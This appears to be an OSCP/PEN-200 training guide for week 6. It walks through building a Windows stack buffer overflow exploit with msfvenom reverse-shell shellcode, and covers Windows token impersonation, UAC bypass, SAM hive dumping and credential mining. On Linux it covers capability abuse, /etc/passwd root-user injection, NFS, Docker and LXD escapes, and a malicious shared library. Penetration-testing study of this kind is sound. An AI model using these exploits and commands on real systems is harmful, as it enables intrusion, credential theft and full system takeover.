Week 6: Understanding & Fixing Exploits, Privilege Escalation (Part 2)
OSCP / PEN-200 Study Plan — Complete Detail Guide
Overview
Week 6 builds directly on Weeks 4 and 5. The first half returns to exploit adaptation — this time with greater depth on debugging, offset calculation, and making exploits work against targets that differ from the original PoC environment. The second half advances privilege escalation beyond the introductory vectors, covering token impersonation, Active Directory-adjacent Windows techniques, and deeper Linux exploitation paths including capabilities, NFS misconfigurations, and writable library hijacking. Reference material covers PEN-200 pages 428 to 471.
Core Theme: Week 4 taught you to find and modify exploits. Week 6 teaches you to debug them when they fail — and to escalate privileges through paths that automated tools flag but do not explain.
Learning Objectives
By the end of Week 6, you should be able to:
- Systematically debug a non-functional exploit and identify the root cause of failure
- Calculate EIP offsets manually and verify them against a live target
- Identify and eliminate bad characters from shellcode
- Locate reliable JMP ESP addresses in a target binary or loaded DLL
- Perform token impersonation on Windows to escalate from service accounts to SYSTEM
- Abuse Windows capabilities including SeBackupPrivilege and SeRestorePrivilege
- Exploit Linux capabilities, writable shared libraries, and NFS no_root_squash
- Escalate via Docker and LXD group membership on Linux
- Troubleshoot common failure points in both exploit delivery and privilege escalation
Part 1: Understanding and Fixing Exploits (Advanced)
The Exploit Debugging Workflow
When a public exploit fails to produce a shell, work through this sequence methodically rather than making random changes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| Step 1: Confirm the target is actually vulnerable
— Verify software version matches the CVE's affected range
— Check patch level (systeminfo, rpm -qa, dpkg -l)
Step 2: Confirm network connectivity
— Can the exploit reach the target port?
— Is there a firewall filtering the callback port?
— Test with nc -zv <target_ip> <port>
Step 3: Confirm architecture match
— Is the exploit 32-bit targeting a 64-bit process?
— file exploit.exe / uname -m / systeminfo
Step 4: Confirm shellcode is correct
— Does the LHOST and LPORT match your listener?
— Did you regenerate shellcode or use the original?
Step 5: Confirm the offset is correct
— Does the EIP value in a crash match what the exploit expects?
— Use Metasploit pattern tools to verify
Step 6: Confirm no bad characters are breaking the payload
— Does the shellcode contain bytes the application strips?
Step 7: Confirm the return address works on this specific target
— The JMP ESP address from the original PoC may not exist here
— Find a valid address in a locally loaded module
|
Stack-Based Buffer Overflow — Full Manual Workflow
This workflow applies to Windows stack overflow exploits — the most common type on OSCP.
Step 1 — Fuzzing to Find the Crash Point
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| #!/usr/bin/env python3
import socket, sys
target_ip = "<target_ip>"
target_port = 9999
# Send increasingly large buffers until the application crashes
for size in range(100, 5000, 100):
try:
buffer = b"A" * size
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"OVERFLOW1 " + buffer + b"\r\n")
s.recv(1024)
s.close()
print(f"Sent {size} bytes — no crash")
except:
print(f"Crashed at approximately {size} bytes")
sys.exit()
|
Step 2 — Finding the Exact EIP Offset
1
2
3
4
5
| # Generate a unique cyclic pattern (use the approximate crash size + buffer)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
# Or with msf-pattern_create (newer Kali)
msf-pattern_create -l 2500
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| #!/usr/bin/env python3
import socket
target_ip = "<target_ip>"
target_port = 9999
# Paste the cyclic pattern here
pattern = b"Aa0Aa1Aa2Aa3..." # full pattern from pattern_create
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"OVERFLOW1 " + pattern + b"\r\n")
s.recv(1024)
s.close()
|
1
2
3
4
| # After crash — read the EIP value from the debugger (e.g. 386F4337)
# Calculate the exact offset
msf-pattern_offset -l 2500 -q 386F4337
# Output: [*] Exact match at offset 1978
|
Step 3 — Confirm EIP Control
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| #!/usr/bin/env python3
import socket
offset = 1978
# Fill buffer up to EIP, overwrite EIP with BBBB, add Cs after
buffer = b"A" * offset + b"B" * 4 + b"C" * 500
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<target_ip>", 9999))
s.send(b"OVERFLOW1 " + buffer + b"\r\n")
s.recv(1024)
s.close()
# In debugger: EIP should show 42424242 (BBBB)
# ESP should point into the C block
|
Step 4 — Identifying Bad Characters
Bad characters are bytes that the application modifies, strips, or terminates on — they corrupt shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| # Full bad character test string (all bytes 0x01 through 0xFF)
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = b"A" * offset + b"B" * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<target_ip>", 9999))
s.send(b"OVERFLOW1 " + buffer + b"\r\n")
s.recv(1024)
s.close()
# In debugger: right-click ESP -> Follow in Dump
# Scroll through the hex dump looking for where the sequence breaks
# The byte BEFORE the break is a bad character
# Remove it and repeat until the full sequence is intact
|
Using mona.py in Immunity Debugger to automate bad char comparison:
1
2
3
4
5
6
7
| # In Immunity Debugger command bar:
!mona config -set workingfolder C:\mona\%p
!mona bytearray -b "\x00"
# After sending bad char buffer:
!mona compare -f C:\mona\<appname>\bytearray.bin -a <ESP_address>
# mona will highlight differing bytes — these are bad characters
# Remove them, regenerate bytearray with -b "\x00\x0a" etc., repeat
|
Step 5 — Finding a JMP ESP Return Address
The return address overwrites EIP and redirects execution to your shellcode on the stack.
1
2
3
4
5
| Requirements:
- The address must contain a JMP ESP (opcode \xff\xe4) instruction
- The address must NOT contain any bad characters
- The module containing the address should have ASLR and SafeSEH disabled
(look for modules compiled without these protections)
|
1
2
3
4
5
6
7
8
9
| # In Immunity Debugger with mona:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# mona searches all loaded modules for JMP ESP instructions
# that do not contain the specified bad characters
# Results are saved to C:\mona\<appname>\jmp.txt
# Verify: double-click the address in mona output
# Confirm the instruction shown is JMP ESP (FFE4)
|
1
2
3
4
5
6
7
| # In the exploit — write the address in little-endian format
# Example: address 0x625011AF becomes \xAF\x11\x50\x62
import struct
jmp_esp = struct.pack("<I", 0x625011AF)
buffer = b"A" * offset + jmp_esp + b"\x90" * 16 + shellcode
|
Step 6 — Generating Clean Shellcode and Assembling the Exploit
1
2
3
4
5
6
7
| # Generate shellcode excluding all confirmed bad characters
msfvenom -p windows/shell_reverse_tcp \
LHOST=<your_ip> LPORT=4444 \
-f python -b "\x00\x0a\x0d" \
EXITFUNC=thread
# EXITFUNC=thread prevents the application from crashing after shell exits
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| #!/usr/bin/env python3
import socket, struct
target_ip = "<target_ip>"
target_port = 9999
lhost = "<your_ip>"
lport = 4444
offset = 1978
jmp_esp = struct.pack("<I", 0x625011AF) # little-endian return address
nop_sled = b"\x90" * 16 # NOP sled — gives shellcode room to land
# Paste msfvenom python output here
shellcode = b""
shellcode += b"\xdb\xc0\xb8..." # truncated — paste full output
buffer = b"A" * offset + jmp_esp + nop_sled + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(b"OVERFLOW1 " + buffer + b"\r\n")
s.recv(1024)
s.close()
print("Payload sent. Check your listener.")
|
Adapting Python 2 Exploits to Python 3
A significant portion of Exploit-DB entries are written for Python 2. The most common breaking changes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| # Print statements
print "hello" # Python 2
print("hello") # Python 3
# String vs bytes — most critical change for network exploits
s.send("data") # Python 2 — string is bytes
s.send(b"data") # Python 3 — must be explicit bytes
# urllib changes
import urllib2 # Python 2
import urllib.request # Python 3
urllib2.urlopen(url) # Python 2
urllib.request.urlopen(url) # Python 3
# Raw input
raw_input("Enter: ") # Python 2
input("Enter: ") # Python 3
# Integer division
5 / 2 = 2 # Python 2
5 / 2 = 2.5 # Python 3 — use 5 // 2 for integer division
# Exception syntax
except Exception, e: # Python 2
except Exception as e: # Python 3
# Encoding strings to bytes
"string".encode("utf-8") # Converts str to bytes in Python 3
b"string".decode("utf-8") # Converts bytes to str in Python 3
|
Common Exploit Troubleshooting Reference
| Symptom | Likely Cause | Fix |
|---|
| Application crashes but no shell | Bad chars in shellcode | Re-identify bad chars, regenerate payload |
| EIP not overwritten correctly | Wrong offset | Recalculate with pattern_offset |
| Shell connects then immediately dies | EXITFUNC wrong | Use EXITFUNC=thread |
| Exploit runs but nothing happens | Wrong architecture | Verify 32-bit vs 64-bit |
| Connection refused | Service not running or wrong port | Confirm with nmap -sV |
| Payload truncated | Application has a size limit | Reduce shellcode size, use staged payload |
| Shell spawns as wrong user | Exploit doesn’t run as target service user | Check what user the service runs as |
| Python errors on import | Python 2 exploit on Python 3 | Port to Python 3 |
| Segfault on compiled C exploit | Missing library or wrong arch | Check with ldd, recompile |
| JMP ESP address contains bad char | Selected address is unusable | Find alternate JMP ESP in mona output |
Part 2: Windows Privilege Escalation (Advanced)
Token Impersonation
Windows security tokens represent the identity and privileges of a running process. Service accounts running network-facing services (IIS, SQL Server) often hold SeImpersonatePrivilege, which allows them to impersonate any token they can obtain — including SYSTEM tokens.
Check for impersonation privileges:
whoami /priv
:: Look for:
:: SeImpersonatePrivilege Enabled
:: SeAssignPrimaryTokenPrivilege Enabled
If SeImpersonatePrivilege is present — use a Potato exploit:
| Tool | Best Used When | Notes |
|---|
| PrintSpoofer | Windows 10, Server 2016/2019 | Most reliable on modern systems |
| GodPotato | Windows Server 2012-2022 | Broadest compatibility |
| JuicyPotato | Windows Server 2008-2016 | Requires a usable CLSID |
| RoguePotato | Windows Server 2019 | When JuicyPotato fails |
| SweetPotato | Multiple OS | Combines several potato techniques |
:: PrintSpoofer — simplest modern approach
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "C:\Temp\shell.exe"
:: GodPotato
GodPotato.exe -cmd "C:\Temp\shell.exe"
:: JuicyPotato (requires CLSID for the OS version)
:: Find CLSIDs: https://github.com/ohpe/juicy-potato/tree/master/CLSID
JuicyPotato.exe -l 9999 -p C:\Temp\shell.exe -t * -c {CLSID}
Token impersonation with Incognito (Metasploit / standalone):
1
2
3
4
5
| # In a Meterpreter session:
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
getuid
|
Abusing Windows Privileges
Certain privileges beyond SeImpersonatePrivilege can also lead directly to SYSTEM.
SeBackupPrivilege — Read any file including SAM and SYSTEM hives:
:: Enable the privilege in the session
:: Use diskshadow or robocopy to read protected files
:: Method 1 — diskshadow to copy SAM and SYSTEM
diskshadow.exe
set context persistent nowriters
add volume c: alias pwn
create
expose %pwn% z:
exit
robocopy /b z:\windows\system32\config\ C:\Temp SAM SYSTEM
:: Exfiltrate SAM and SYSTEM to Kali, then extract hashes
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
SeRestorePrivilege — Write to any file including service binaries:
:: Can overwrite any file the OS owns
:: Replace a service binary with your payload
:: Then restart the service
SeTakeOwnershipPrivilege — Take ownership of any object:
:: Take ownership of a protected file
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant <username>:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
:: Trigger at login screen: Windows + U
UAC Bypass
UAC (User Account Control) prompts for elevation even when logged in as a local administrator. Several techniques bypass this without triggering a prompt.
fodhelper.exe bypass (Windows 10):
:: fodhelper.exe is an auto-elevated binary that reads from HKCU
:: Write a malicious command to the registry key it checks
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Temp\shell.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
fodhelper.exe
eventvwr.exe bypass:
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\Temp\shell.exe" /f
eventvwr.exe
Automated UAC bypass check:
1
2
3
4
5
| # PowerUp check for UAC level
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
# 0 = no prompt (bypass not needed)
# 2 = prompt for credentials
# 5 = prompt for consent (default — bypassable)
|
Registry-Based Escalation
AutoRuns — programs set to run at login:
:: List autorun entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
:: Check if the binary is writable
icacls "C:\path\to\autorun\binary.exe"
:: If writable — replace with payload, wait for admin to log in
PowerUp — Registry checks:
1
2
| Get-RegistryAlwaysInstallElevated
Get-ModifiableRegistryAutoRun
|
Stored Credentials and Password Mining
:: Search for passwords in common config files
findstr /si password *.txt *.xml *.ini *.config
findstr /si passwd *.txt *.xml *.ini
findstr /spin "password" C:\*.* 2>nul
:: Windows Credential Manager
cmdkey /list
:: Unattend.xml — contains base64-encoded admin passwords from OS installs
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\sysprep\sysprep.xml
:: SAM database (requires SYSTEM or backup privilege)
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
:: Exfiltrate and crack with impacket-secretsdump or samdump2
:: PowerShell history — may contain commands with credentials
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
:: IIS configuration — web application credentials
type C:\inetpub\wwwroot\web.config | findstr /i "password connectionString"
Part 3: Linux Privilege Escalation (Advanced)
Linux Capabilities
Capabilities grant specific elevated privileges to binaries without making them full SUID. Misconfigured capabilities are a clean escalation path.
1
2
3
4
5
6
7
| # Find all binaries with capabilities set
getcap -r / 2>/dev/null
# Dangerous capabilities to look for:
# cap_setuid+ep — can set UID to 0 (root)
# cap_net_raw+ep — raw socket access
# cap_dac_override+ep — bypass file permission checks
|
Exploiting cap_setuid:
1
2
3
4
5
6
7
8
9
10
11
| # Example: python3 has cap_setuid+ep set
/usr/bin/python3 = cap_setuid+ep
# Exploit — set UID to 0 and spawn root shell
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Example: perl has cap_setuid+ep
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# Example: vim has cap_setuid+ep
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'
|
Exploiting cap_dac_override:
1
2
3
4
5
6
7
8
9
| # Can read/write any file regardless of permissions
# Example: node.js has cap_dac_override+ep
# Read /etc/shadow
node -e 'var fs = require("fs"); console.log(fs.readFileSync("/etc/shadow", "utf8"));'
# Write to /etc/passwd — add root user
node -e 'var fs = require("fs"); fs.appendFileSync("/etc/passwd", "hacker::0:0:root:/root:/bin/bash\n");'
su hacker
|
NFS No_Root_Squash
When an NFS share is configured with no_root_squash, a remote root user can mount the share and create SUID binaries that execute as root on the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # On target — check NFS exports
cat /etc/exports
showmount -e localhost
# Vulnerable entry looks like:
# /shared *(rw,no_root_squash)
# no_root_squash means the remote root is treated as root on this share
# On your Kali machine (as root):
# Mount the NFS share
mkdir /tmp/nfsmount
mount -t nfs <target_ip>:/shared /tmp/nfsmount
# Create a SUID bash copy on the share
cp /bin/bash /tmp/nfsmount/rootbash
chmod +s /tmp/nfsmount/rootbash
# On target — execute the SUID binary
/shared/rootbash -p
whoami # root
|
Docker Group Membership
If your user is in the docker group, you can mount the host filesystem into a container and read or write any file as root.
1
2
3
4
5
6
7
8
9
10
11
12
| # Check group membership
id | grep docker
groups | grep docker
# If docker group — mount host root filesystem into a container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Now you have a root shell with the host filesystem at /
# From here:
cat /etc/shadow
echo "hacker::0:0:root:/root:/bin/bash" >> /etc/passwd
# Or add your SSH key to /root/.ssh/authorized_keys
|
LXD/LXC Group Membership
Similar to Docker — LXD group membership allows container creation with host filesystem access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Check for lxd group
id | grep lxd
# If present — import a pre-built Alpine image and mount host filesystem
# On Kali: download Alpine LXD image from GitHub (lxd-alpine-builder)
# Transfer the .tar.gz to the target
# On target:
lxc image import alpine.tar.gz --alias pwn
lxc init pwn ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
# Inside the container — host filesystem is at /mnt/root
ls /mnt/root/root/
cat /mnt/root/etc/shadow
|
Writable Shared Library Hijacking
If a SUID binary or a binary run by root loads a shared library from a directory you can write to, you can substitute the library with a malicious one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # Check what libraries a binary loads
ldd /usr/local/bin/suid_binary
# Check if any library paths are writable
ls -la /usr/local/lib/
# Check LD_LIBRARY_PATH (sometimes set insecurely in scripts)
cat /etc/environment
cat /etc/profile
# If a library path is writable — create a malicious replacement
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /writable/path/libtarget.so /tmp/evil.c
# Run the SUID binary — it loads your library and executes the constructor
/usr/local/bin/suid_binary
|
Weak File Permissions on Sensitive Files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Check permissions on /etc/passwd — can you write?
ls -la /etc/passwd
stat /etc/passwd
# Check permissions on /etc/shadow — can you read?
ls -la /etc/shadow
# Check permissions on sudoers
ls -la /etc/sudoers
ls -la /etc/sudoers.d/
# Check SSH private keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_ecdsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
ls -la ~/.ssh/
# Check for world-readable /root directory
ls -la /root/
# Find files owned by root but writable by others
find / -user root -writable -type f 2>/dev/null | grep -v proc | grep -v sys
|
Kernel Exploits (Identification and Controlled Use)
Kernel exploits are used as a last resort — they can crash the system. Always try other vectors first.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Identify kernel version
uname -r
uname -a
cat /proc/version
# Use Linux Exploit Suggester to match kernel to CVEs
./les.sh
# Common notable kernel exploits (know what they target):
# DirtyPipe CVE-2022-0847 Linux 5.8-5.16 — write to read-only files
# DirtyCow CVE-2016-5195 Linux 2.6.22-4.8 — write to read-only mappings
# Overlayfs CVE-2023-0386 Ubuntu kernels — SUID file creation
# Example — DirtyPipe (if kernel is in range)
# Download, compile, and run against a writable SUID binary
gcc -o dirtypipe dirtypipe.c
./dirtypipe /usr/bin/su # modifies the binary temporarily to spawn root shell
|
Troubleshooting Common Failures
Exploit Troubleshooting (Quick Reference)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| Shell spawns but dies immediately:
— Check EXITFUNC: use thread instead of process
— Check if AV killed the shell process
— Try a staged payload (windows/shell/reverse_tcp) vs stageless
Exploit sends but no connection received:
— Confirm listener is running before sending exploit
— Confirm LHOST is your correct interface IP (not 127.0.0.1)
— Check firewall on both ends (iptables -L, Windows Firewall)
— Try a different LPORT (443, 80 are often allowed outbound)
Offset seems right but shell doesn't fire:
— Check the NOP sled is large enough (at least 16 bytes)
— Verify the JMP ESP address is correct for this specific target
— Confirm no additional bad chars were missed
Python exploit crashes on run:
— Check Python version compatibility
— Look for missing modules: pip install <module>
— Check for byte vs string issues in socket operations
|
Privilege Escalation Troubleshooting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| WinPEAS/LinPEAS finds nothing obvious:
— Run manual commands — automated tools miss context-specific issues
— Check for credential reuse: try found passwords on other services
— Look for internal services (netstat) not visible externally
— Check for non-standard SUID binaries or unusual scheduled tasks
— Review bash/PowerShell history for credentials
Potato exploit fails:
— Confirm SeImpersonatePrivilege is Enabled (not just listed)
— Try a different potato variant for the OS version
— Ensure the payload architecture matches the OS (x64 on Server 2019)
Token impersonation gives error:
— Confirm you are running in a context that holds the privilege
— Some privileges require a high-integrity process — check integrity level
NFS mount fails from Kali:
— Confirm nfs-common is installed: apt install nfs-common
— Try specifying NFS version: mount -t nfs -o vers=3
Docker/LXD fails:
— Confirm group membership applies to current session: newgrp docker
— Log out and back in if group was recently added
|
Practice Resources
OffSec PEN-200 Labs (Pages 428-471)
| Module | Focus Area |
|---|
| Understanding and Fixing Exploits | Offset calculation, bad chars, JMP ESP, shellcode |
| Windows Privilege Escalation (advanced) | Token impersonation, stored credentials, UAC bypass |
| Linux Privilege Escalation (advanced) | Capabilities, NFS, Docker/LXD, library hijacking |
Recommended Proving Ground Labs
| Machine | OS | Primary Technique |
|---|
authby | Windows | Exploit adaptation + service privesc |
nickel | Windows | Token impersonation (SeImpersonatePrivilege) |
bratarina | Linux | Exploit modification, buffer overflow |
loly | Linux | Capabilities or Docker group |
banzai | Linux | NFS no_root_squash or SUID |
heist | Windows | Credential mining + UAC bypass |
Hack The Box and TryHackMe
| Platform | Focus | Recommended |
|---|
| TryHackMe | Buffer overflow | “Buffer Overflow Prep” room — highly recommended for OSCP |
| TryHackMe | Windows privesc | “Windows PrivEsc” room |
| TryHackMe | Linux privesc | “Linux PrivEsc” room |
| Hack The Box | Token impersonation | Machines with IIS or MSSQL foothold |
| Hack The Box | NFS/Docker | Linux machines tagged with “container” |
Key References
| Resource | Purpose |
|---|
| github.com/stephenbradshaw/vulnserver | Practice buffer overflow target (Windows) |
| gtfobins.github.io | Linux capability and SUID abuse payloads |
| lolbas-project.github.io | Windows living-off-the-land binary abuse |
| github.com/ohpe/juicy-potato/CLSID | JuicyPotato CLSID list by OS version |
| exploit-db.com/docs/english/44560-linux-kernel-exploitation.pdf | Kernel exploit methodology |
Suggested Daily Schedule (7-Day Breakdown)
| Day | Focus | Hours |
|---|
| Day 1 | Buffer overflow workflow — fuzzing, offset, EIP control | 4-5 hrs |
| Day 2 | Bad character identification, JMP ESP, final exploit assembly | 4-5 hrs |
| Day 3 | Python 2 to 3 porting + exploit troubleshooting lab | 3-4 hrs |
| Day 4 | Windows advanced privesc — token impersonation, UAC bypass, credential mining | 4-5 hrs |
| Day 5 | Linux advanced privesc — capabilities, NFS, Docker/LXD, library hijacking | 4-5 hrs |
| Day 6 | Proving Ground labs: nickel, bratarina, loly | 5-6 hrs |
| Day 7 | TryHackMe Buffer Overflow Prep + review and notes consolidation | 4-5 hrs |
Week 6 Checklist
Exploit Fixing
- Completed the full buffer overflow workflow manually — fuzz, offset, bad chars, JMP ESP, shellcode
- Used mona.py to identify bad characters and locate a valid JMP ESP address
- Ported a Python 2 exploit to Python 3 and confirmed it works
- Diagnosed a failing exploit using the systematic troubleshooting workflow
- Assembled a complete working exploit with NOP sled and msfvenom shellcode
Windows Privilege Escalation (Advanced)
- Confirmed SeImpersonatePrivilege and escalated to SYSTEM using PrintSpoofer or GodPotato
- Read the SAM database using SeBackupPrivilege
- Bypassed UAC using fodhelper.exe registry technique
- Found stored credentials in Unattend.xml, PowerShell history, or config files
- Exploited a writable AutoRun registry entry
Linux Privilege Escalation (Advanced)
- Found a binary with cap_setuid and escalated to root
- Identified NFS no_root_squash and created a SUID binary via mounted share
- Escalated via Docker group membership by mounting host filesystem
- Exploited a writable shared library loaded by a SUID binary
- Identified the running kernel version and matched it against exploit suggester output
Labs
- Completed at least one Proving Ground lab requiring exploit modification
- Completed at least one lab using token impersonation
- Completed the TryHackMe Buffer Overflow Prep room
Key Takeaways
- Buffer overflow exploitation is a process, not a guess — work through each step in order and do not skip verification stages.
- A missing or incorrect bad character will silently break your shellcode — patience during this step saves hours later.
- SeImpersonatePrivilege on a Windows service account is almost always a straight path to SYSTEM — know your potato variants.
- Linux capabilities are frequently overlooked by beginners but appear in OSCP labs regularly — getcap -r / should be habit.
- NFS no_root_squash is a one-command root if you have access to a Kali machine with root — fast and reliable.
- Docker and LXD group membership are effectively root-equivalent — they belong in your first-pass enumeration.
- Credential reuse between services is one of the highest-yield lateral movement and escalation techniques in OSCP labs.
| _Plan prepared for OSCP / PEN-200 Week 6 | Exploit Debugging and Adaptation → Advanced Windows Privilege Escalation → Advanced Linux Privilege Escalation_ |
You can find me online at: